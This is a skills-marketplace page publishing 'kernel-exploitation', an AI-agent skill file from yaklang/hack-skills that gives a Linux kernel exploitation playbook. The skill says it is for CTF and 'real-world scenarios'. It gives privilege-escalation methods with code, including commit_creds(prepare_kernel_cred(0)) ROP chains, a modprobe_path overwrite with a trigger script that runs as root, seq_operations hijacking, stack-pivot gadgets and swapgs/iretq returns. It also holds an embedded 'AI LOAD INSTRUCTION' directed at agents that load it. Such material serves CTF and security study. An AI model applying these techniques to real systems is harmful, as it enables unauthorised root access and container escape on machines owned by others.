
kernel-exploitation
Linux kernel exploitation playbook. Use when exploiting kernel vulnerabilities (UAF, OOB, race condition, type confusion) for privilege escalation via commitcreds, modprobepath overwrite, or kernel ROP chains in CTF and real-world scenarios.
- Installs
- 3.7K
- Last 24h
- +17
- Trending rank
- #6419
- Security
- Not audited
Install
Works with every agent the skills CLI supports.
npx skills add https://github.com/yaklang/hack-skills --skill kernel-exploitation- 01
Install
Run the command in your project. The CLI asks which agents to install for.
- 02
Describe the task
Ask your agent for something this skill covers. It loads kernel-exploitation automatically when relevant.
- 03
Review the result
The agent follows the SKILL.md steps, scripts and references bundled with the skill.
SKILL.md
The instructions your agent reads when the skill is triggered.
SKILL: Linux Kernel Exploitation — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert kernel exploitation techniques. Covers environment setup (QEMU), vulnerability classes, privilege escalation targets, kernel ROP, ret2usr, stack pivoting, and cross-cache attacks. Distilled from ctf-wiki kernel-mode sections and real-world kernel CVEs. Base models often confuse user-mode and kernel-mode exploitation constraints, especially regarding SMEP/SMAP/KPTI.
0. RELATED ROUTING
- binary-protection-bypass — userspace protections (NX, ASLR) also apply in kernel context
- stack-overflow-and-rop — kernel ROP reuses many userspace ROP concepts
- heap-exploitation — kernel SLUB is conceptually related to userspace heap
- linux-privilege-escalation — non-exploit kernel privesc techniques
Advanced References
- KERNEL_MITIGATION_BYPASS.md — KASLR, SMEP, SMAP, KPTI, FG-KASLR, CFI bypass techniques
- KERNEL_HEAP_TECHNIQUES.md — SLUB internals, cross-cache attacks, msg_msg/pipe_buffer/sk_buff exploitation
1. EXPLOITATION MODEL
┌─────────────────────────────────────────────────────┐
│ 1. Find Vulnerability │
│ (UAF, OOB, race, integer overflow, type confusion)│
├─────────────────────────────────────────────────────┤
│ 2. Build Primitive │
│ (arbitrary read, arbitrary write, controlled RIP)│
├─────────────────────────────────────────────────────┤
│ 3. Bypass Mitigations │
│ (KASLR, SMEP, SMAP, KPTI) │
├─────────────────────────────────────────────────────┤
│ 4. Escalate Privileges │
│ (commit_creds, modprobe_path, namespace escape) │
├─────────────────────────────────────────────────────┤
│ 5. Return to Userspace Cleanly │
│ (KPTI trampoline, iretq/sysretq, swapgs) │
└─────────────────────────────────────────────────────┘
2. ENVIRONMENT SETUP
QEMU + Custom Kernel
# Download and compile kernel
wget https://cdn.kernel.org/pub/linux/kernel/v6.x/linux-6.1.tar.xz
tar xf linux-6.1.tar.xz && cd linux-6.1
make defconfig
# Disable mitigations for easier debugging:
scripts/config --disable RANDOMIZE_BASE # KASLR
scripts/config --disable RANDOMIZE_LAYOUT # FG-KASLR
scripts/config --enable DEBUG_INFO
make -j$(nproc)
# Boot with QEMU
qemu-system-x86_64 \
-kernel bzImage \
-initrd rootfs.cpio.gz \
-append "console=ttyS0 nokaslr quiet" \
-nographic \
-s -S \ # GDB server on :1234, pause at start
-monitor /dev/null \
-m 256M \
-cpu kvm64,+smep,+smap
GDB Debugging
gdb vmlinux
target remote :1234
# Load kernel symbols
add-symbol-file vmlinux 0xffffffff81000000 # typical .text base
# Breakpoints
b commit_creds
b *0xffffffff81234567
# pwndbg/GEF work with kernel debugging
initramfs Modification
mkdir rootfs && cd rootfs
cpio -idmv < ../rootfs.cpio.gz
# Edit init script, add exploit binary
cp /path/to/exploit ./
# Repack
find . | cpio -o --format=newc | gzip > ../rootfs.cpio.gz
3. COMMON VULNERABILITY TYPES
| Type | Description | Kernel Example |
|---|---|---|
| UAF | Object freed but pointer still accessible | CVE-2022-0847 (DirtyPipe) |
| OOB Read/Write | Array index or size check missing | CVE-2021-22555 (Netfilter) |
| Race Condition | TOCTOU between check and use | CVE-2016-5195 (DirtyCow) |
| Integer Overflow | Size calculation wraps around | Various ioctl handlers |
| Type Confusion | Object cast to wrong type | CVE-2023-0179 (Netfilter) |
| Double Free | Object freed twice | SLUB allocator exploitation |
| Stack Overflow | Kernel stack buffer overflow | Rare (kernel stack is small: 8KB–16KB) |
4. PRIVILEGE ESCALATION TARGETS
Method 1: commit_creds(prepare_kernel_cred(0))
// Kernel function that sets current process credentials to root
void (*commit_creds)(void *) = COMMIT_CREDS_ADDR;
void *(*prepare_kernel_cred)(void *) = PREPARE_KERNEL_CRED_ADDR;
commit_creds(prepare_kernel_cred(0)); // cred with uid=0, gid=0
Kernel ROP chain equivalent:
pop rdi; ret
0 # NULL → prepare_kernel_cred(NULL) = init_cred
prepare_kernel_cred addr
mov rdi, rax; ... ; ret # or pop rdi + known location
commit_creds addr
kpti_trampoline / swapgs+iretq # return to userspace
Method 2: modprobe_path Overwrite
// modprobe_path = "/sbin/modprobe" in kernel .data
// Overwrite to "/tmp/x" → trigger with unknown binary format → kernel runs /tmp/x as root
# Setup:
echo '#!/bin/sh' > /tmp/x
echo 'cp /flag /tmp/flag && chmod 777 /tmp/flag' >> /tmp/x
chmod +x /tmp/x
# Trigger (unknown binary format):
echo -ne '\xff\xff\xff\xff' > /tmp/dummy
chmod +x /tmp/dummy
/tmp/dummy # kernel calls modprobe_path → /tmp/x runs as root
Method 3: cred Structure Direct Overwrite
If you can find the current task's cred pointer and have arbitrary write, directly zero out uid/gid fields in the cred structure.
Method 4: Namespace Escape (Containers)
Overwrite init_nsproxy or manipulate namespace pointers to escape container isolation.
5. KERNEL ROP
Controlled RIP Sources
| Source | Mechanism |
|---|---|
| Corrupted function pointer | UAF object has vtable-like dispatch → overwrite pointer |
| Corrupted return address | Kernel stack overflow (rare) |
Corrupted ops structure | Module operations struct (file_operations, seq_operations) |
seq_operations Hijack (Common CTF Pattern)
struct seq_operations {
void * (*start)(struct seq_file *, loff_t *);
void (*stop)(struct seq_file *, void *);
void * (*next)(struct seq_file *, void *, loff_t *);
int (*show)(struct seq_file *, void *);
};
// Size: 0x20 (fits in kmalloc-32)
// Open /proc/self/stat → allocates seq_operations
// UAF overwrite start → controlled RIP when read() is called
Stack Pivoting in Kernel
| Gadget | Usage |
|---|---|
xchg eax, esp; ret | Pivot to address in lower 32 bits of RAX (mmap buffer at known addr) |
mov rsp, [rdi+X]; ... | If RDI points to controlled data |
push rdi; pop rsp; ... | Pivot to RDI (first arg of hijacked function) |
Important: After SMEP, cannot execute userspace code. ROP chain must use kernel gadgets only.
6. ret2usr (Pre-SMEP)
Directly call a userspace function from kernel context:
void escalate() {
commit_creds(prepare_kernel_cred(0));
}
// Overwrite kernel function pointer to point to escalate() in user memory
Blocked by: SMEP (Supervisor Mode Execution Prevention) — kernel cannot execute user-mapped pages.
7. RETURNING TO USERSPACE
After privilege escalation in kernel, must return cleanly to userspace to get a root shell.
Via iretq (Traditional)
; ROP chain ending:
swapgs ; swap GS base back to userspace
iretq ; pops: RIP, CS, RFLAGS, RSP, SS from stack
; Stack must contain: [user_rip][user_cs][user_rflags][user_rsp][user_ss]
# Save userspace state before entering kernel
user_cs = 0x33
user_ss = 0x2b
user_rflags = # saved via pushfq before exploit
user_rsp = # saved RSP
user_rip = # address of post-exploit function (e.g., get_shell)
Via KPTI Trampoline (When KPTI Enabled)
KPTI separates kernel/user page tables. Direct swapgs; iretq crashes because user pages aren't mapped. Use the kernel's own return trampoline:
# KPTI trampoline (in kernel at known offset):
# swapgs_restore_regs_and_return_to_usermode:
# mov rdi, rsp
# ...
# swapgs
# iretq
# Jump to trampoline with [RIP, CS, RFLAGS, RSP, SS] on stack
Via signal Handler Return
Set up a signal handler before exploit. After commit_creds, trigger the signal → return to userspace via signal handler (avoids manual swapgs/iretq).
8. QEMU DEBUGGING TIPS
| Command | Purpose |
|---|---|
-s -S | GDB server on :1234, paused |
-monitor /dev/null | Disable QEMU monitor (cleaner output) |
-append "nokaslr" | Disable KASLR for debugging |
-cpu kvm64,+smep,+smap | Enable specific CPU features |
info registers (GDB) | Show all register values |
maintenance packet Qqemu.PhyMemMode:1 | Read physical memory in GDB |
cat /proc/kallsyms | Kernel symbol addresses (if readable) |
cat /sys/kernel/notes | Kernel build ID |
9. DECISION TREE
Kernel vulnerability identified
├── What type?
│ ├── UAF → identify freed object, spray replacement (see KERNEL_HEAP_TECHNIQUES)
│ ├── OOB → determine read/write range, target adjacent objects
│ ├── Race condition → reliable trigger (userfaultfd, FUSE)
│ ├── Integer overflow → how does it translate to OOB or allocation confusion?
│ └── Type confusion → what can the confused type access?
│
├── Build primitive
│ ├── Controlled RIP? → kernel ROP or ret2usr (if no SMEP)
│ ├── Arbitrary read? → leak KASLR base, then controlled RIP
│ ├── Arbitrary write? → modprobe_path overwrite (simplest)
│ │ or overwrite cred structure directly
│ └── Limited write? → target function pointer in known object
│
├── Mitigations (see KERNEL_MITIGATION_BYPASS.md)
│ ├── KASLR → need info leak first (/proc/kallsyms if readable, timing, or OOB read)
│ ├── SMEP → kernel ROP only (no user code exec)
│ ├── SMAP → cannot read user data from kernel (use copy_from_user gadget)
│ ├── KPTI → use KPTI trampoline for clean return
│ └── FG-KASLR → function offsets randomized (use data section targets like modprobe_path)
│
├── Escalation method
│ ├── Have controlled RIP + KASLR bypass → ROP chain: prepare_kernel_cred(0) → commit_creds
│ ├── Have arbitrary write only → modprobe_path overwrite
│ ├── Have arbitrary write + KASLR bypass → overwrite cred uid/gid to 0
│ └── Have controlled function call → call commit_creds(prepare_kernel_cred(0))
│
└── Return to userspace
├── KPTI disabled → swapgs; iretq (ROP ending)
├── KPTI enabled → jump to KPTI trampoline
└── Alternative → signal handler + process_one_work return path
FAQ
What does the kernel-exploitation skill do?
Linux kernel exploitation playbook. Use when exploiting kernel vulnerabilities (UAF, OOB, race condition, type confusion) for privilege escalation via commitcreds, modprobepath overwrite, or kernel ROP chains in CTF and real-world scenarios.
How do I install kernel-exploitation?
Run npx skills add https://github.com/yaklang/hack-skills --skill kernel-exploitation in your project. The skills CLI detects the agents you use and copies the skill into the right folder. For Claude Code you can also place the skill folder at ~/.claude/skills/kernel-exploitation/ (personal) or .claude/skills/kernel-exploitation/ (project).
Which AI agents can use kernel-exploitation?
Any agent that supports the open Agent Skills format (a folder with a SKILL.md file), including Claude Code, Codex, Cursor, GitHub Copilot, Gemini CLI, Windsurf, Cline, OpenCode and more.
Is kernel-exploitation safe to install?
No partner security audit is available yet. Skills can run commands and scripts, so read the SKILL.md and any bundled files before installing.
Who maintains kernel-exploitation?
It is published by yaklang in yaklang/hack-skills. It has 3,655 recorded installs.
More from yaklang/hack-skills
hack
yaklang/hack-skills
Entry P0 primary router and operating doctrine for HackSkills. Use when the task involves web application testing, API security assessment, recon, vulnerability triage, exploit path planning, authorized pentest, code audit, source-leak mining, middleware audit, SOC triage, detection engineering, incident response, or choosing the right next category skill before any deep topic skill. Also use when the user mentions 安全工程师, 渗透测试, 红队, 蓝队, 代码审计, 源码泄露, SRC. Enforce impact-first testing, finish the current asset cluster before expanding, follow half-chains to real control, and require live verification of secrets.
android-pentesting-tricks
yaklang/hack-skills
Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent redirection, root detection bypass, tapjacking, and backup extraction during authorized mobile security assessments.
recon-and-methodology
yaklang/hack-skills
Reconnaissance and methodology playbook. Use when mapping assets, discovering endpoints, fingerprinting technology, and building a structured testing plan for a new target.
sqli-sql-injection
yaklang/hack-skills
SQL injection playbook. Use when input reaches SQL queries, authentication logic, sorting, filtering, reporting, or DB-specific blind and out-of-band execution paths.
code-obfuscation-deobfuscation
yaklang/hack-skills
Code obfuscation analysis and deobfuscation playbook. Use when reversing binaries protected by junk code, opaque predicates, self-modifying code, control flow flattening, VM protection, or string encryption.
xss-cross-site-scripting
yaklang/hack-skills
XSS playbook. Use when user-controlled content reaches HTML, attributes, JavaScript, DOM sinks, uploads, or multi-context rendering paths.
Popular devops & cloud skills
microsoft-foundry
microsoft/azure-skills
Build, deploy, evaluate, optimize, fine-tune, and manage Microsoft Foundry agents, models, and resources end to end. USE FOR: foundry, azd ai agent, azd provision/deploy, hosted agent scaffold/develop/run/deploy/troubleshoot, prompt agent create, managed harness agent create, GitHub Copilot harness agent, create agent, update agent, add tool to agent, invoke agent, agent insights, evaluate agent, batch eval, continuous eval, continuous monitoring, agent CI/CD, optimize prompt, improve prompt, optimize agent instructions, Agent Optimizer scaffold, dataset curation from traces, deploy model, model fine-tuning (SFT/DPO/RFT), Foundry project, RBAC, role assignment, permissions, quota, capacity, region, deployment failure, AI Services, create Foundry resource, knowledge index, customize deployment, onboard, availability, training-data, grader, distillation, large file upload. DO NOT USE FOR: Azure Functions, App Service, general Azure deploy (use azure-deploy), general Azure prep (use azure
azure-diagnostics
microsoft/azure-skills
Debug Azure production issues on Azure using AppLens, Azure Monitor, resource health, and safe triage. WHEN: debug production issues, troubleshoot app service, app service high CPU, app service deployment failure, troubleshoot container apps, container app 503 or target port mismatch, troubleshoot functions, function telemetry missing or stopped after a config/connection-string change, troubleshoot AKS, VM RDP, Linux SSH, VM black screen, can't connect to VM, reset VM password, NSG or firewall blocking, kubectl cannot connect, kube-system/CoreDNS failures, pod pending, crashloop, node not ready, upgrade failures, analyze logs, KQL, insights, image pull failures, cold start issues, health probe failures, resource health, root cause of errors, troubleshoot event hubs, troubleshoot service bus, messaging SDK error, AMQP connection failure, message lock lost, lock renewal during long-running processing, service bus dead letter.
azure-prepare
microsoft/azure-skills
Prepare azd-based Azure projects for deployment: generates azure.yaml, infrastructure (Bicep/Terraform), and Dockerfiles for the Azure Developer CLI (azd) workflow. USE ONLY when the user explicitly wants to use azd as the deployment tool, or the project already has an azure.yaml file. DO NOT USE FOR: non-azd deployments, Python App Service code-only deploys (use python-appservice-deploy), or cross-cloud migration (use azure-cloud-migrate). WHEN: prepare app for azd, create azure.yaml, set up azd infrastructure, modernize app for Azure with azd, deploy with azd, function app, timer trigger, service bus trigger, event-driven function, managed identity, generate Bicep, generate Terraform, create and deploy to Azure.
azure-ai
microsoft/azure-skills
Use for Azure AI: Search, Speech, OpenAI, Document Intelligence. Helps with search, vector/hybrid search, speech-to-text, text-to-speech, transcription, OCR. WHEN: AI Search, query search, vector search, hybrid search, semantic search, speech-to-text, text-to-speech, transcribe, OCR, convert text to speech.
azure-deploy
microsoft/azure-skills
Execute Azure deployments for ALREADY-PREPARED applications that have existing .azure/deployment-plan.md and infrastructure files. DO NOT use this skill when the user asks to CREATE a new application — use azure-prepare instead. This skill runs azd up, azd deploy, terraform apply, and az deployment commands with built-in error recovery. Requires .azure/deployment-plan.md from azure-prepare and validated status from azure-validate. WHEN: "run azd up", "run azd deploy", "execute deployment", "push to production", "push to cloud", "go live", "ship it", "bicep deploy", "terraform apply", "publish to Azure", "launch on Azure". DO NOT USE WHEN: "create and deploy", "build and deploy", "create a new app", "set up infrastructure", "create and deploy to Azure using Terraform" — use azure-prepare for these.
azure-validate
microsoft/azure-skills
Pre-deployment validation for Azure readiness. Run deep checks on configuration, infrastructure (Bicep or Terraform), RBAC role assignments, managed identity permissions, and prerequisites before deploying. WHEN: validate my app, check deployment readiness, run preflight checks, verify configuration, check if ready to deploy, validate azure.yaml, validate Bicep, test before deploying, troubleshoot deployment errors, validate Azure Functions, validate function app, validate serverless deployment, verify RBAC roles, check role assignments, review managed identity permissions, what-if analysis, validate Container Apps deployment.